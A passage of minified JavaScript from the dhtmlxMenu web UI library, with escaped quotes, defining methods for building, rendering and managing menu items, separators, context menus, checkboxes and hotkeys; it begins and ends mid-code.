g=document.createElement(\"DIV\");g.id=\"separator_\"+c;g.className=(a==\"TopLevel\"?\"top_sep\":\"sub_sep\");g.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}};g.onclick=function(r){r=r||event;r.cancelBubble=true;var q={ctrl:r.ctrlKey,alt:r.altKey,shift:r.shiftKey};h._doOnClick(this.id.replace(\"separator_\"+h.idPrefix,\"\"),\"--s\",q)};if(a==\"TopLevel\"){if(m!=null){m++;if(m<0){m=0}if(this.cont.childNodes[m]!=null){this.cont.insertBefore(g,this.cont.childNodes[m])}else{this.cont.appendChild(g)}}else{var o=this.cont.childNodes[this.cont.childNodes.length-1];if(String(o).search(\"TopLevel_Text\")==-1){this.cont.appendChild(g)}else{this.cont.insertBefore(g,o)}}this.idPull[g.id]=g}else{var n=this.idPull[\"polygon_\"+this.itemPull[c][\"parent\"]];if(m!=null){m++;if(m<0){m=0}if(m>n.tbd.childNodes.length-1){m=null}}if(m!=null&&n.tbd.childNodes[m]!=null){n.tbd.insertBefore(l,n.tbd.childNodes[m])}else{n.tbd.appendChild(l)}e.appendChild(g);this.idPull[g.id]=l}};dhtmlXMenuObject.prototype.addNewSeparator=function(a,c){c=this.idPrefix+(c!=null?c:this._genStr(24));var e=this.idPrefix+this.getParentId(a);this._addItemIntoGlobalStrorage(c,e,\"\",\"separator\",false,\"\",\"\");this._renderSeparator(c,this.getItemPosition(a))};dhtmlXMenuObject.prototype._initObj=function(s,u,m){if(!(s instanceof Array)){m=s.parentId;if(m!=null&&String(m).indexOf(this.idPrefix)!==0){m=this.idPrefix+String(m)}s=s.items}for(var e=0;e<s.length;e++){if(typeof(s[e].id)==\"undefined\"||s[e].id==null){s[e].id=this._genStr(24)}if(s[e].text==null){s[e].text=\"\"}if(String(s[e].id).indexOf(this.idPrefix)!==0){s[e].id=this.idPrefix+String(s[e].id)}var g={type:\"item\",tip:\"\",hotkey:\"\",state:\"enabled\",imgen:\"\",imgdis:\"\"};for(var v in g){if(typeof(s[e][v])==\"undefined\"){s[e][v]=g[v]}}if(s[e].imgen==\"\"&&s[e].img!=null){s[e].imgen=s[e].img}if(s[e].imgdis==\"\"&&s[e].img_disabled!=null){s[e].imgdis=s[e].img_disabled}if(s[e].title==null&&s[e].text!=null){s[e].title=s[e].text}if(s[e].href!=null){if(s[e].href.link!=null){s[e].href_link=s[e].href.link}if(s[e].href.target!=null){s[e].href_target=s[e].href.target}}if(s[e].userdata!=null){for(var v in s[e].userdata){this.userData[s[e].id+\"_\"+v]=s[e].userdata[v]}}if(typeof(s[e].enabled)!=\"undefined\"&&window.dhx4.s2b(s[e].enabled)==false){s[e].state=\"disabled\"}else{if(typeof(s[e].disabled)!=\"undefined\"&&window.dhx4.s2b(s[e].disabled)==true){s[e].state=\"disabled\"}}if(typeof(s[e].parent)==\"undefined\"){s[e].parent=(m!=null?m:this.idPrefix+this.topId)}if(s[e].type==\"checkbox\"){s[e].checked=window.dhx4.s2b(s[e].checked);s[e].imgen=s[e].imgdis=\"chbx_\"+(s[e].checked?\"1\":\"0\")}if(s[e].type==\"radio\"){s[e].checked=window.dhx4.s2b(s[e].checked);s[e].imgen=s[e].imgdis=\"rdbt_\"+(s[e].checked?\"1\":\"0\");if(typeof(s[e].group)==\"undefined\"||s[e].group==null){s[e].group=this._genStr(24)}if(this.radio[s[e].group]==null){this.radio[s[e].group]=[]}this.radio[s[e].group].push(s[e].id)}this.itemPull[s[e].id]=s[e];if(s[e].items!=null&&s[e].items.length>0){this.itemPull[s[e].id].complex=true;this._initObj(s[e].items,true,s[e].id)}else{if(this.conf.dload&&s[e].complex==true){this.itemPull[s[e].id].loaded=\"no\"}}this.itemPull[s[e].id].items=null}if(u!==true){if(this.conf.dload==true){if(m==null){this._initTopLevelMenu()}else{this._addSubMenuPolygon(m,m);if(this.conf.selected==m){var r=(this.itemPull[m].parent==this.idPrefix+this.topId);var c=(r&&!this.conf.context?this.conf.dir_toplv:this.conf.dir_sublv);var h=false;if(r&&this.conf.top_mode&&this.conf.mode==\"web\"&&!this.conf.context){var w=this.idPull[m];if(w._mouseOver==true){var l=this.conf.top_tmtime-(new Date().getTime()-w._dynLoadTM);if(l>1){var o=m;var n=this;w._menuOpenTM=window.setTimeout(function(){n._showPolygon(o,c);n=o=null},l);h=true}}}if(!h){this._showPolygon(m,c)}}this.itemPull[m].loaded=\"yes\";if(this.conf.dload_icon==true){this._updateLoaderIcon(m,false)}}}else{this._init()}}};dhtmlXMenuObject.prototype._xmlToJson=function(h,g){var m=[];if(g==null){var n=h.getElementsByTagName(this.conf.tags.root);if(n==null||(n!=null&&n.length==0)){return{items:[]}}n=n[0]}else{n=h}if(n.getAttribute(\"parentId\")!=null){g=this.idPrefix+n.getAttribute(\"parentId\")}for(var c=0;c<n.childNodes.length;c++){if(typeof(n.childNodes[c].tagName)!=\"undefined\"&&String(n.childNodes[c].tagName).toLowerCase()==this.conf.tags.item){var a=n.childNodes[c];var u={id:this.idPrefix+(a.getAttribute(\"id\")||this._genStr(24)),title:a.getAttribute(\"text\")||\"\",imgen:a.getAttribute(\"img\")||\"\",imgdis:a.getAttribute(\"imgdis\")||\"\",tip:\"\",hotkey:\"\",type:a.getAttribute(\"type\")||\"item\"};if(a.getAttribute(\"cssNormal\")!=null){u.cssNormal=a.getAttribute(\"cssNormal\")}if(u.type==\"checkbox\"){u.checked=a.getAttribute(\"checked\")}if(u.type==\"radio\"){u.checked=a.getAttribute(\"checked\");u.group=a.getAttribute(\"group\")}u.state=\"enabled\";if(a.getAttribute(\"enabled\")!=null&&window.dhx4.s2b(a.getAttribute(\"enabled\"))==false){u.state=\"disabled\"}else{if(a.getAttribute(\"disabled\")!=null&&window.dhx4.s2b(a.getAttribute(\"disabled\"))==true){u.state=\"disabled\"}}u.parent=(g!=null?g:this.idPrefix+this.topId);if(this.conf.dload){u.complex=(a.getAttribute(\"complex\")!=null);if(u.complex){u.loaded=\"no\"}}else{var e=this._xmlToJson(a,u.id);u.items=e.items;u.complex=(u.items.length>0)}for(var o=0;o<a.childNodes.length;o++){if(typeof(a.childNodes[o].tagName)!=\"undefined\"){var s=String(a.childNodes[o].tagName||\"\").toLowerCase();if(s==this.conf.tags.userdata){var l=a.childNodes[o];if(l.getAttribute(\"name\")!=null){this.userData[u.id+\"_\"+l.getAttribute(\"name\")]=(l.firstChild!=null&&l.firstChild.nodeValue!=null?l.firstChild.nodeValue:\"\")}}if(s==this.conf.tags.text_ext){u.title=a.childNodes[o].firstChild.nodeValue}if(s==this.conf.tags.tooltip){u.tip=a.childNodes[o].firstChild.nodeValue}if(s==this.conf.tags.hotkey){u.hotkey=a.childNodes[o].firstChild.nodeValue}if(s==this.conf.tags.href&&u.type==\"item\"){u.href_link=a.childNodes[o].firstChild.nodeValue;if(a.childNodes[o].getAttribute(\"target\")!=null){u.href_target=a.childNodes[o].getAttribute(\"target\")}}}}m.push(u)}}var a={parentId:g,items:m};return a};dhtmlXMenuObject.prototype.enableDynamicLoading=function(a,c){this.conf.dload=true;this.conf.dload_url=a;this.conf.dload_sign=(String(this.conf.dload_url).search(/\\?/)==-1?\"?\":\"&\");this.conf.dload_icon=c;this._init()};dhtmlXMenuObject.prototype._updateLoaderIcon=function(g,e){if(this.idPull[g]==null){return}if(String(this.idPull[g].className).search(\"TopLevel_Item\")>=0){return}var c=(this.conf.rtl?0:2);if(!this.idPull[g].childNodes[c]){return}if(!this.idPull[g].childNodes[c].childNodes[0]){return}var a=this.idPull[g].childNodes[c].childNodes[0];if(String(a.className).search(\"complex_arrow\")===0){a.className=\"complex_arrow\"+(e?\"_loading\":\"\")}};dhtmlXMenuObject.prototype.addNewSibling=function(g,h,a,c,e,n){var m=this.idPrefix+(h!=null?h:this._genStr(24));var l=this.idPrefix+(g!=null?this.getParentId(g):this.topId);this._addItemIntoGlobalStrorage(m,l,a,\"item\",c,e,n);if((l==this.idPrefix+this.topId)&&(!this.conf.context)){this._renderToplevelItem(m,this.getItemPosition(g))}else{this._renderSublevelItem(m,this.getItemPosition(g))}};dhtmlXMenuObject.prototype.addNewChild=function(m,l,g,a,c,e,h){if(m==null){if(this.conf.context){m=this.topId}else{this.addNewSibling(m,g,a,c,e,h);if(l!=null){this.setItemPosition(g,l)}return}}g=this.idPrefix+(g!=null?g:this._genStr(24));if(this.setHotKey){this.setHotKey(m,\"\")}m=this.idPrefix+m;this._addItemIntoGlobalStrorage(g,m,a,\"item\",c,e,h);if(this.idPull[\"polygon_\"+m]==null){this._renderSublevelPolygon(m,m)}this._renderSublevelItem(g,l-1);this._redefineComplexState(m)};dhtmlXMenuObject.prototype.removeItem=function(g,l,h){if(!l){g=this.idPrefix+g}var m=null;if(g!=this.idPrefix+this.topId){if(this.itemPull[g]==null){return}if(this.idPull[\"polygon_\"+g]&&this.idPull[\"polygon_\"+g]._tmShow){window.clearTimeout(this.idPull[\"polygon_\"+g]._tmShow)}var u=this.itemPull[g][\"type\"];if(u==\"separator\"){var s=this.idPull[\"separator_\"+g];if(this.itemPull[g][\"parent\"]==this.idPrefix+this.topId){s.onclick=null;s.onselectstart=null;s.id=null;s.parentNode.removeChild(s)}else{s.childNodes[0].childNodes[0].onclick=null;s.childNodes[0].childNodes[0].onselectstart=null;s.childNodes[0].childNodes[0].id=null;s.childNodes[0].removeChild(s.childNodes[0].childNodes[0]);s.removeChild(s.childNodes[0]);s.parentNode.removeChild(s)}this.idPull[\"separator_\"+g]=null;this.itemPull[g]=null;delete this.idPull[\"separator_\"+g];delete this.itemPull[g];s=null}else{m=this.itemPull[g][\"parent\"];var s=this.idPull[g];s.onclick=null;s.oncontextmenu=null;s.onmouseover=null;s.onmouseout=null;s.onselectstart=null;s.id=null;while(s.childNodes.length>0){s.removeChild(s.childNodes[0])}s.parentNode.removeChild(s);this.idPull[g]=null;this.itemPull[g]=null;delete this.idPull[g];delete this.itemPull[g];s=null}u=null}for(var o in this.itemPull){if(this.itemPull[o][\"parent\"]==g){this.removeItem(o,true,true)}}var r=new Array(g);if(m!=null&&!h){if(this.idPull[\"polygon_\"+m]!=null){if(this.idPull[\"polygon_\"+m].tbd.childNodes.length==0){r.push(m);this._updateItemComplexState(m,false,false)}}}for(var c=0;c<r.length;c++){if(this.idPull[\"polygon_\"+r[c]]){var e=this.idPull[\"polygon_\"+r[c]];e.onclick=null;e.oncontextmenu=null;e.tbl.removeChild(e.tbd);e.tbd=null;e.childNodes[1].removeChild(e.tbl);e.tbl=null;e.id=null;e.parentNode.removeChild(e);e=null;if(window.dhx4.isIE6){var n=\"polygon_\"+r[c]+\"_ie6cover\";if(this.idPull[n]!=null){document.body.removeChild(this.idPull[n]);delete this.idPull[n]}}if(this.idPull[\"arrowup_\"+g]!=null&&this._removeArrow){this._removeArrow(\"arrowup_\"+g)}if(this.idPull[\"arrowdown_\"+g]!=null&&this._removeArrow){this._removeArrow(\"arrowdown_\"+g)}this.idPull[\"polygon_\"+r[c]]=null;delete this.idPull[\"polygon_\"+r[c]]}}r=null;if(this.conf.skin==\"dhx_terrace\"&&arguments.length==1){this._improveTerraceSkin()}};dhtmlXMenuObject.prototype._addItemIntoGlobalStrorage=function(n,a,e,m,g,c,l){var h={id:n,title:e,imgen:(c!=null?c:\"\"),imgdis:(l!=null?l:\"\"),type:m,state:(g==true?\"disabled\":\"enabled\"),parent:a,complex:false,hotkey:\"\",tip:\"\"};this.itemPull[h.id]=h};dhtmlXMenuObject.prototype.renderAsContextMenu=function(){this.conf.context=true;if(this.base._autoSkinUpdate==true){this.base.className=this.base.className.replace(\"dhtmlxMenu_\"+this.conf.skin+\"_Middle\",\"\");this.base._autoSkinUpdate=false}if(this.conf.ctx_baseid!=null){this.addContextZone(this.conf.ctx_baseid)}};dhtmlXMenuObject.prototype.addContextZone=function(c){if(c==document.body){c=\"document.body.\"+this.idPrefix;var g=document.body}else{if(typeof(c)==\"string\"){var g=document.getElementById(c)}else{var g=c}}var l=false;for(var e in this.conf.ctx_zones){l=l||(e==c)||(this.conf.ctx_zones[e]==g)}if(l==true){return false}this.conf.ctx_zones[c]=g;var h=this;if(window.dhx4.isOpera){this.operaContext=function(a){h._doOnContextMenuOpera(a,h)};g.addEventListener(\"mouseup\",this.operaContext,false)}else{if(g.oncontextmenu!=null&&!g._oldContextMenuHandler){g._oldContextMenuHandler=g.oncontextmenu}g.oncontextmenu=function(m){for(var a in dhtmlXMenuObject.prototype.liveInst){if(a!=h.conf.live_id){if(dhtmlXMenuObject.prototype.liveInst[a].context){dhtmlXMenuObject.prototype.liveInst[a]._hideContextMenu()}}}m=m||event;m.cancelBubble=true;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}h._doOnContextBeforeCall(m,this);return false}}};dhtmlXMenuObject.prototype._doOnContextMenuOpera=function(g,a){for(var c in dhtmlXMenuObject.prototype.liveInst){if(c!=a.conf.live_id){if(dhtmlXMenuObject.prototype.liveInst[c].context){dhtmlXMenuObject.prototype.liveInst[c]._hideContextMenu()}}}g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}if(g.button==0&&g.ctrlKey==true){a._doOnContextBeforeCall(g,this)}return false};dhtmlXMenuObject.prototype.removeContextZone=function(a){if(!this.isContextZone(a)){return false}if(a==document.body){a=\"document.body.\"+this.idPrefix}var c=this.conf.ctx_zones[a];if(window.dhx4.isOpera){c.removeEventListener(\"mouseup\",this.operaContext,false)}else{c.oncontextmenu=(c._oldContextMenuHandler!=null?c._oldContextMenuHandler:null);c._oldContextMenuHandler=null}try{this.conf.ctx_zones[a]=null;delete this.conf.ctx_zones[a]}catch(g){}return true};dhtmlXMenuObject.prototype.isContextZone=function(a){if(a==document.body&&this.conf.ctx_zones[\"document.body.\"+this.idPrefix]!=null){return true}var c=false;if(this.conf.ctx_zones[a]!=null){if(this.conf.ctx_zones[a]==document.getElementById(a)){c=true}}return c};dhtmlXMenuObject.prototype._isContextMenuVisible=function(){if(this.idPull[\"polygon_\"+this.idPrefix+this.topId]==null){return false}return(this.idPull[\"polygon_\"+this.idPrefix+this.topId].style.display==\"\")};dhtmlXMenuObject.prototype._showContextMenu=function(c,e,a){this._clearAndHide();if(this.idPull[\"polygon_\"+this.idPrefix+this.topId]==null){return false}window.clearTimeout(this.conf.tm_handler);this.idPull[this.idPrefix+this.topId]=new Array(c,e);this._showPolygon(this.idPrefix+this.topId,\"bottom\");this.callEvent(\"onContextMenu\",[a])};dhtmlXMenuObject.prototype._hideContextMenu=function(){if(this.idPull[\"polygon_\"+this.idPrefix+this.topId]==null){return false}this._clearAndHide();this._hidePolygon(this.idPrefix+this.topId)};dhtmlXMenuObject.prototype._doOnContextBeforeCall=function(l,n){this.conf.ctx_zoneid=n.id;this._clearAndHide();this._hideContextMenu();var h=(l.srcElement||l.target);var c=(window.dhx4.isIE||window.dhx4.isOpera||window.dhx4.isKHTML||window.dhx4.isEdge?l.offsetX:l.layerX);var a=(window.dhx4.isIE||window.dhx4.isOpera||window.dhx4.isKHTML||window.dhx4.isEdge?l.offsetY:l.layerY);var m=window.dhx4.absLeft(h)+c;var g=window.dhx4.absTop(h)+a;if(this.checkEvent(\"onBeforeContextMenu\")){if(this.callEvent(\"onBeforeContextMenu\",[n.id,l])){if(this.conf.ctx_autoshow){this._showContextMenu(m,g,n.id);this.callEvent(\"onAfterContextMenu\",[n.id,l])}}}else{if(this.conf.ctx_autoshow){this._showContextMenu(m,g,n.id);this.callEvent(\"onAfterContextMenu\",[n.id])}}};dhtmlXMenuObject.prototype.showContextMenu=function(a,c){this._showContextMenu(a,c,false)};dhtmlXMenuObject.prototype.hideContextMenu=function(){this._hideContextMenu()};dhtmlXMenuObject.prototype.setAutoShowMode=function(a){this.conf.ctx_autoshow=(a==true?true:false)};dhtmlXMenuObject.prototype.setAutoHideMode=function(a){this.conf.ctx_autohide=(a==true?true:false)};dhtmlXMenuObject.prototype.setContextMenuHideAllMode=function(a){this.conf.ctx_hideall=(a==true?true:false)};dhtmlXMenuObject.prototype.getContextMenuHideAllMode=function(){return this.conf.ctx_hideall};dhtmlXMenuObject.prototype._improveTerraceSkin=function(){for(var e in this.itemPull){if(this.itemPull[e].parent==this.idPrefix+this.topId&&this.idPull[e]!=null){var h=false;var g=false;if(this.idPull[e].parentNode.firstChild==this.idPull[e]){h=true}if(this.idPull[e].parentNode.lastChild==this.idPull[e]){g=true}for(var c in this.itemPull){if(this.itemPull[c].type==\"separator\"&&this.itemPull[c].parent==this.idPrefix+this.topId){if(this.idPull[e].nextSibling==this.idPull[\"separator_\"+c]){g=true}if(this.idPull[e].previousSibling==this.idPull[\"separator_\"+c]){h=true}}}this.idPull[e].style.borderLeftWidth=(h?\"1px\":\"0px\");this.idPull[e].style.borderTopLeftRadius=this.idPull[e].style.borderBottomLeftRadius=(h?\"3px\":\"0px\");this.idPull[e].style.borderTopRightRadius=this.idPull[e].style.borderBottomRightRadius=(g?\"3px\":\"0px\");this.idPull[e]._bl=h;this.idPull[e]._br=g}}};dhtmlXMenuObject.prototype._improveTerraceButton=function(c,a){if(a){this.idPull[c].style.borderBottomLeftRadius=(this.idPull[c]._bl?\"3px\":\"0px\");this.idPull[c].style.borderBottomRightRadius=(this.idPull[c]._br?\"3px\":\"0px\")}else{this.idPull[c].style.borderBottomLeftRadius=\"0px\";this.idPull[c].style.borderBottomRightRadius=\"0px\"}};if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype._createNode_menu=function(h,c,g,a,e){if(typeof(e)!=\"undefined\"){h=e}else{h=document.createElement(\"DIV\");h.className=\"dhx_cell_menu_\"+(this.conf.borders?\"def\":\"no_borders\");h.appendChild(document.createElement(\"DIV\"))}this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.toolbar||this.conf.idx.cont]);this.conf.ofs_nodes.t.menu=true;this._updateIdx();return h};dhtmlXCellObject.prototype.attachMenu=function(a){if(this.dataNodes.menu){return}this.callEvent(\"_onBeforeContentAttach\",[\"menu\"]);if(typeof(a)==\"undefined\"){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=this._attachObject(\"menu\").firstChild;this.dataNodes.menu=new dhtmlXMenuObject(a);this._adjustCont(this._idd);a.parent=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.menu};dhtmlXCellObject.prototype.detachMenu=function(){if(!this.dataNodes.menu){return}this.dataNodes.menu.unload();this.dataNodes.menu=null;delete this.dataNodes.menu;this._detachObject(\"menu\")};dhtmlXCellObject.prototype.showMenu=function(){this._mtbShowHide(\"menu\",\"\")};dhtmlXCellObject.prototype.hideMenu=function(){this._mtbShowHide(\"menu\",\"none\")};dhtmlXCellObject.prototype.getAttachedMenu=function(){return this.dataNodes.menu}}dhtmlXMenuObject.prototype.setItemEnabled=function(a){this._changeItemState(a,\"enabled\",this._getItemLevelType(a))};dhtmlXMenuObject.prototype.setItemDisabled=function(a){this._changeItemState(a,\"disabled\",this._getItemLevelType(a))};dhtmlXMenuObject.prototype.isItemEnabled=function(a){return(this.itemPull[this.idPrefix+a]!=null?(this.itemPull[this.idPrefix+a][\"state\"]==\"enabled\"):false)};dhtmlXMenuObject.prototype._changeItemState=function(h,g,c){var e=false;var a=this.idPrefix+h;if((this.itemPull[a]!=null)&&(this.idPull[a]!=null)){if(this.itemPull[a][\"state\"]!=g){this.itemPull[a][\"state\"]=g;if(this.itemPull[a][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context){this.idPull[a].className=\"dhtmlxMenu_\"+this.conf.skin+\"_TopLevel_Item_\"+(this.itemPull[a][\"state\"]==\"enabled\"?\"Normal\":\"Disabled\")}else{this.idPull[a].className=\"sub_item\"+(this.itemPull[a][\"state\"]==\"enabled\"?\"\":\"_dis\")}this._updateItemComplexState(this.idPrefix+h,this.itemPull[this.idPrefix+h][\"complex\"],false);this._updateItemImage(h,c);if((this.idPrefix+this.conf.last_click==a)&&(c!=\"TopLevel\")){this._redistribSubLevelSelection(a,this.itemPull[a][\"parent\"])}if(c==\"TopLevel\"&&!this.conf.context){}}}return e};dhtmlXMenuObject.prototype.getItemText=function(a){return(this.itemPull[this.idPrefix+a]!=null?this.itemPull[this.idPrefix+a][\"title\"]:\"\")};dhtmlXMenuObject.prototype.setItemText=function(l,h){l=this.idPrefix+l;if((this.itemPull[l]!=null)&&(this.idPull[l]!=null)){this._clearAndHide();this.itemPull[l][\"title\"]=h;if(this.itemPull[l][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context){var g=null;for(var a=0;a<this.idPull[l].childNodes.length;a++){try{if(this.idPull[l].childNodes[a].className==\"top_level_text\"){g=this.idPull[l].childNodes[a]}}catch(c){}}if(String(this.itemPull[l][\"title\"]).length==\"\"||this.itemPull[l][\"title\"]==null){if(g!=null){g.parentNode.removeChild(g)}}else{if(!g){g=document.createElement(\"DIV\");g.className=\"top_level_text\";if(this.conf.rtl&&this.idPull[l].childNodes.length>0){this.idPull[l].insertBefore(g,this.idPull[l].childNodes[0])}else{this.idPull[l].appendChild(g)}}g.innerHTML=this.itemPull[l][\"title\"]}}else{var g=null;for(var a=0;a<this.idPull[l].childNodes[1].childNodes.length;a++){if(String(this.idPull[l].childNodes[1].childNodes[a].className||\"\")==\"sub_item_text\"){g=this.idPull[l].childNodes[1].childNodes[a]}}if(String(this.itemPull[l][\"title\"]).length==\"\"||this.itemPull[l][\"title\"]==null){if(g){g.parentNode.removeChild(g);g=null;this.idPull[l].childNodes[1].innerHTML=\"&nbsp;\"}}else{if(!g){g=document.createElement(\"DIV\");g.className=\"sub_item_text\";this.idPull[l].childNodes[1].innerHTML=\"\";this.idPull[l].childNodes[1].appendChild(g)}g.innerHTML=this.itemPull[l][\"title\"]}}}};dhtmlXMenuObject.prototype.loadFromHTML=function(e,l,g){var c=this.conf.tags.item;this.conf.tags.item=\"div\";var h=(typeof(e)==\"string\"?document.getElementById(e):e);var a=this._xmlToJson(h,this.idPrefix+this.topId);this._initObj(a);this.conf.tags.item=c;if(l){h.parentNode.removeChild(h)}h=objOd=null;if(onload!=null){if(typeof(g)==\"function\"){g()}else{if(typeof(window[g])==\"function\"){window[g]()}}}};dhtmlXMenuObject.prototype.hideItem=function(a){this._changeItemVisible(a,false)};dhtmlXMenuObject.prototype.showItem=function(a){this._changeItemVisible(a,true)};dhtmlXMenuObject.prototype.isItemHidden=function(c){var a=null;if(this.idPull[this.idPrefix+c]!=null){a=(this.idPull[this.idPrefix+c].style.display==\"none\")}return a};dhtmlXMenuObject.prototype._changeItemVisible=function(e,c){var a=this.idPrefix+e;if(this.itemPull[a]==null){return}if(this.itemPull[a][\"type\"]==\"separator\"){a=\"separator_\"+a}if(this.idPull[a]==null){return}this.idPull[a].style.display=(c?\"\":\"none\");this._redefineComplexState(this.itemPull[this.idPrefix+e][\"parent\"])};dhtmlXMenuObject.prototype.setUserData=function(e,a,c){this.userData[this.idPrefix+e+\"_\"+a]=c};dhtmlXMenuObject.prototype.getUserData=function(c,a){return(this.userData[this.idPrefix+c+\"_\"+a]!=null?this.userData[this.idPrefix+c+\"_\"+a]:null)};dhtmlXMenuObject.prototype.setOpenMode=function(a){this.conf.mode=(a==\"win\"?\"win\":\"web\")};dhtmlXMenuObject.prototype.setWebModeTimeout=function(a){this.conf.tm_sec=(!isNaN(a)?a:400)};dhtmlXMenuObject.prototype.getItemImage=function(c){var a=new Array(null,null);c=this.idPrefix+c;if(this.itemPull[c][\"type\"]==\"item\"){a[0]=this.itemPull[c][\"imgen\"];a[1]=this.itemPull[c][\"imgdis\"]}return a};dhtmlXMenuObject.prototype.setItemImage=function(e,a,c){if(this.itemPull[this.idPrefix+e][\"type\"]!=\"item\"){return}this.itemPull[this.idPrefix+e][\"imgen\"]=a;this.itemPull[this.idPrefix+e][\"imgdis\"]=c;this._updateItemImage(e,this._getItemLevelType(e))};dhtmlXMenuObject.prototype.clearItemImage=function(a){this.setItemImage(a,\"\",\"\")};dhtmlXMenuObject.prototype.setVisibleArea=function(c,a,g,e){this.conf.v_enabled=true;this.conf.v.x1=c;this.conf.v.x2=a;this.conf.v.y1=g;this.conf.v.y2=e};dhtmlXMenuObject.prototype.setTooltip=function(c,a){c=this.idPrefix+c;if(!(this.itemPull[c]!=null&&this.idPull[c]!=null)){return}this.idPull[c].title=(a.length>0?a:null);this.itemPull[c][\"tip\"]=a};dhtmlXMenuObject.prototype.getTooltip=function(a){if(this.itemPull[this.idPrefix+a]==null){return null}return this.itemPull[this.idPrefix+a][\"tip\"]};dhtmlXMenuObject.prototype.setTopText=function(a){if(this.conf.context){return}if(this._topText==null){this._topText=document.createElement(\"DIV\");this._topText.className=\"dhtmlxMenu_TopLevel_Text_\"+(this.conf.rtl?\"left\":(this.conf.align==\"left\"?\"right\":\"left\"));this.base.appendChild(this._topText)}this._topText.innerHTML=a};dhtmlXMenuObject.prototype.setAlign=function(a){if(this.conf.align==a){return}if(a==\"left\"||a==\"right\"){this.conf.align=a;if(this.cont){this.cont.className=(this.conf.align==\"right\"?\"align_right\":\"align_left\")}if(this._topText!=null){this._topText.className=\"dhtmlxMenu_TopLevel_Text_\"+(this.conf.align==\"left\"?\"right\":\"left\")}}};dhtmlXMenuObject.prototype.setHref=function(e,a,c){if(this.itemPull[this.idPrefix+e]==null){return}this.itemPull[this.idPrefix+e][\"href_link\"]=a;if(c!=null){this.itemPull[this.idPrefix+e][\"href_target\"]=c}};dhtmlXMenuObject.prototype.clearHref=function(a){if(this.itemPull[this.idPrefix+a]==null){return}delete this.itemPull[this.idPrefix+a][\"href_link\"];delete this.itemPull[this.idPrefix+a][\"href_target\"]};dhtmlXMenuObject.prototype.getCircuit=function(c){var a=new Array(c);while(this.getParentId(c)!=this.topId){c=this.getParentId(c);a[a.length]=c}return a.reverse()};dhtmlXMenuObject.prototype._getCheckboxState=function(a){if(this.itemPull[this.idPrefix+a]==null){return null}return this.itemPull[this.idPrefix+a][\"checked\"]};dhtmlXMenuObject.prototype._setCheckboxState=function(c,a){if(this.itemPull[this.idPrefix+c]==null){return}this.itemPull[this.idPrefix+c][\"checked\"]=a};dhtmlXMenuObject.prototype._updateCheckboxImage=function(c){if(this.idPull[this.idPrefix+c]==null){return}this.itemPull[this.idPrefix+c][\"imgen\"]=\"chbx_\"+(this._getCheckboxState(c)?\"1\":\"0\");this.itemPull[this.idPrefix+c][\"imgdis\"]=this.itemPull[this.idPrefix+c][\"imgen\"];try{this.idPull[this.idPrefix+c].childNodes[(this.conf.rtl?2:0)].childNodes[0].className=\"sub_icon \"+this.itemPull[this.idPrefix+c][\"imgen\"]}catch(a){}};dhtmlXMenuObject.prototype._checkboxOnClickHandler=function(g,a,c){if(a.charAt(1)==\"d\"){return}if(this.itemPull[this.idPrefix+g]==null){return}var e=this._getCheckboxState(g);if(this.checkEvent(\"onCheckboxClick\")){if(this.callEvent(\"onCheckboxClick\",[g,e,this.conf.ctx_zoneid,c])){this.setCheckboxState(g,!e)}}else{this.setCheckboxState(g,!e)}if(this.checkEvent(\"onClick\")){this.callEvent(\"onClick\",[g])}};dhtmlXMenuObject.prototype.setCheckboxState=function(c,a){this._setCheckboxState(c,a);this._updateCheckboxImage(c)};dhtmlXMenuObject.prototype.getCheckboxState=function(a){return this._getCheckboxState(a)};dhtmlXMenuObject.prototype.addCheckbox=function(n,g,o,q,r,a,h){if(this.conf.context&&g==this.topId){}else{if(this.itemPull[this.idPrefix+g]==null){return}if(n==\"child\"&&this.itemPull[this.idPrefix+g][\"type\"]!=\"item\"){return}}var l=\"chbx_\"+(a?\"1\":\"0\");var e=l;if(n==\"sibling\"){var c=this.idPrefix+(q!=null?q:this._genStr(24));var m=this.idPrefix+this.getParentId(g);this._addItemIntoGlobalStrorage(c,m,r,\"checkbox\",h,l,e);this.itemPull[c][\"checked\"]=a;this._renderSublevelItem(c,this.getItemPosition(g))}else{var c=this.idPrefix+(q!=null?q:this._genStr(24));var m=this.idPrefix+g;this._addItemIntoGlobalStrorage(c,m,r,\"checkbox\",h,l,e);this.itemPull[c][\"checked\"]=a;if(this.idPull[\"polygon_\"+m]==null){this._renderSublevelPolygon(m,m)}this._renderSublevelItem(c,o-1);this._redefineComplexState(m)}};dhtmlXMenuObject.prototype.setHotKey=function(m,a){m=this.idPrefix+m;if(!(this.itemPull[m]!=null&&this.idPull[m]!=null)){return}if(this.itemPull[m][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context){return}if(this.itemPull[m][\"complex\"]){return}var c=this.itemPull[m][\"type\"];if(!(c==\"item\"||c==\"checkbox\"||c==\"radio\")){return}var l=null;try{if(this.idPull[m].childNodes[this.conf.rtl?0:2].childNodes[0].className==\"sub_item_hk\"){l=this.idPull[m].childNodes[this.conf.rtl?0:2].childNodes[0]}}catch(h){}if(a.length==0){this.itemPull[m][\"hotkey_backup\"]=this.itemPull[m][\"hotkey\"];this.itemPull[m][\"hotkey\"]=\"\";if(l!=null){l.parentNode.removeChild(l)}}else{this.itemPull[m][\"hotkey\"]=a;this.itemPull[m][\"hotkey_backup\"]=null;if(l==null){l=document.createElement(\"DIV\");l.className=\"sub_item_hk\";var g=this.idPull[m].childNodes[this.conf.rtl?0:2];while(g.childNodes.length>0){g.removeChild(g.childNodes[0])}g.appendChild(l)}l.innerHTML=a}};dhtmlXMenuObject.prototype.getHotKey=function(a){if(this.itemPull[this.idPrefix+a]==null){return null}return this.itemPull[this.idPrefix+a][\"hotkey\"]};dhtmlXMenuObject.prototype._clearAllSelectedSubItemsInPolygon=function(a){var e=this._getSubItemToDeselectByPolygon(a);for(var c=0;c<this.conf.opened_poly.length;c++){if(this.conf.opened_poly[c]!=a){this._hidePolygon(this.conf.opened_poly[c])}}for(var 